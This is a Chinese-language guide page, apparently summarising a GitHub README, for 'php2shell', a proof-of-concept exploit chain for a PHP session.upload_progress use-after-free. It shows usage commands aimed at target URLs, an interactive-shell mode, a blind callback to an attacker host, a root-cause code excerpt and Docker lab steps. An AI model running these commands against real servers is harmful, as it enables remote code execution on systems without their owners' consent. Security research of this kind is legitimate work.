syrex1013/php2shell

选用指南

AI 根据 README 整理 · 2026/10/22 13:21:42

适用场景

用于复现PHP upload_progress UAF漏洞及测试多种RCE攻击链，包括session poisoning、日志投毒、FastCGI和PEAR webshell等场景。

查看 README 依据

# php2shell — CVE-2026-109618 / CVE-2026-109619 PoC > **Heap Use-After-Free in PHP `session.upload_progress`** > CVSS 9.2 · PHP 5.4.0 – 8.2.34 / 8.3.35 / 8.4.26 / 8.5.11 This repository contains: | Component | Purpose | |-----------|---------| | `poc.py` | Full RCE exploit chain (session poison + LFI, log poison, FastCGI no-LFI, PEAR webshell) | | `lab-uaf/` | Docker lab that reproduces the UAF primitive on PHP 8.4.4-fpm | | `lab/` | Apache-based lab for testing the session-poison + LFI RCE chain | --- ## Vulnerability

## RCE Exploit (`poc.py`) Full exploit chain with multiple fallback paths. Requires a PHP web application running a vulnerable PHP version. ### Usage ```bash python3 poc.py <url> <command> [OPTIONS] # Session poison + auto-detected LFI python3 poc.py http://target.example.com/index.php "id" # Specify LFI parameter python3 poc.py http://target.example.com/ "id" --lfi-param page # Interactive shell python3 poc.py http://target.example.com/ "id" -i # Blind callback (no LFI needed on target side) python3 poc.py http://target.example.com/ "id" --callback http://attacker.com/ ```

目标用户

面向进行授权安全测试、研究和教育的人员，仅限对自有系统或获得明确书面许可的目标运行。

查看 README 依据

## Legal This code is for authorized security testing, research, and education only. The authors are not responsible for any unauthorized use. Run this only against systems you own or have explicit written permission to test. Licensed under the [MIT License](LICENSE).

使用方式

提供命令行脚本poc.py用于攻击目标URL，并包含Docker实验环境用于复现和验证。

查看 README 依据

zend_array_destroy(Z_ARR_P(session_vars)); // arData freed here // session.c:3331 — write through stale cached pointer (UAF) ZVAL_LONG(post_bytes_processed, new_bytes); // stale pointer write ``` --- ## UAF Lab Reproduces the stale-pointer write on stock PHP-FPM (no ASAN, no debug build). ### Requirements - Docker + Docker Compose - Python 3.8+ ### Quick start ```bash # Clone and enter git clone https://github.com/syrex1013/php2shell cd php2shell/lab-uaf # Build and start docker compose up -d --build # Run the PoC (5 rounds, session monitor enabled)

## RCE Exploit (`poc.py`) Full exploit chain with multiple fallback paths. Requires a PHP web application running a vulnerable PHP version. ### Usage ```bash python3 poc.py <url> <command> [OPTIONS] # Session poison + auto-detected LFI python3 poc.py http://target.example.com/index.php "id" # Specify LFI parameter python3 poc.py http://target.example.com/ "id" --lfi-param page # Interactive shell python3 poc.py http://target.example.com/ "id" -i # Blind callback (no LFI needed on target side) python3 poc.py http://target.example.com/ "id" --callback http://attacker.com/ ```

部署要求

运行UAF实验环境需要Docker和Docker Compose，以及Python 3.8+；使用poc.py需目标为运行受影响PHP版本的Web应用。

查看 README 依据

zend_array_destroy(Z_ARR_P(session_vars)); // arData freed here // session.c:3331 — write through stale cached pointer (UAF) ZVAL_LONG(post_bytes_processed, new_bytes); // stale pointer write ``` --- ## UAF Lab Reproduces the stale-pointer write on stock PHP-FPM (no ASAN, no debug build). ### Requirements - Docker + Docker Compose - Python 3.8+ ### Quick start ```bash # Clone and enter git clone https://github.com/syrex1013/php2shell cd php2shell/lab-uaf # Build and start docker compose up -d --build # Run the PoC (5 rounds, session monitor enabled)

## RCE Exploit (`poc.py`) Full exploit chain with multiple fallback paths. Requires a PHP web application running a vulnerable PHP version. ### Usage ```bash python3 poc.py <url> <command> [OPTIONS] # Session poison + auto-detected LFI python3 poc.py http://target.example.com/index.php "id" # Specify LFI parameter python3 poc.py http://target.example.com/ "id" --lfi-param page # Interactive shell python3 poc.py http://target.example.com/ "id" -i # Blind callback (no LFI needed on target side) python3 poc.py http://target.example.com/ "id" --callback http://attacker.com/ ```

已知限制

漏洞影响PHP 5.4.0至8.2.34/8.3.35/8.4.26/8.5.11版本，PHP ≤8.1无后向修复；代码仅用于授权安全测试。

查看 README 依据

classic heap use-after-free. ### Affected versions | Branch | Vulnerable through | Fixed in | |--------|-------------------|---------| | PHP 8.2 | 8.2.34 | **8.2.35** | | PHP 8.3 | 8.3.35 | **8.3.36** | | PHP 8.4 | 8.4.26 | **8.4.27** | | PHP 8.5 | 8.5.11 | **8.5.12** | | PHP ≤ 8.1 | all | no backport — EOL | ### Root cause (session.c) ```c // session.c:3292 — pointer cached into HashTable arData ZVAL_LONG(&tmp, 0); zend_hash_str_update(Z_ARRVAL_P(post_bytes_processed), ..., &tmp); // <-- cached zval* // ... stall > min_freq ... // session.c:236-252 — track_init() frees the HashTable

## Legal This code is for authorized security testing, research, and education only. The authors are not responsible for any unauthorized use. Run this only against systems you own or have explicit written permission to test. Licensed under the [MIT License](LICENSE).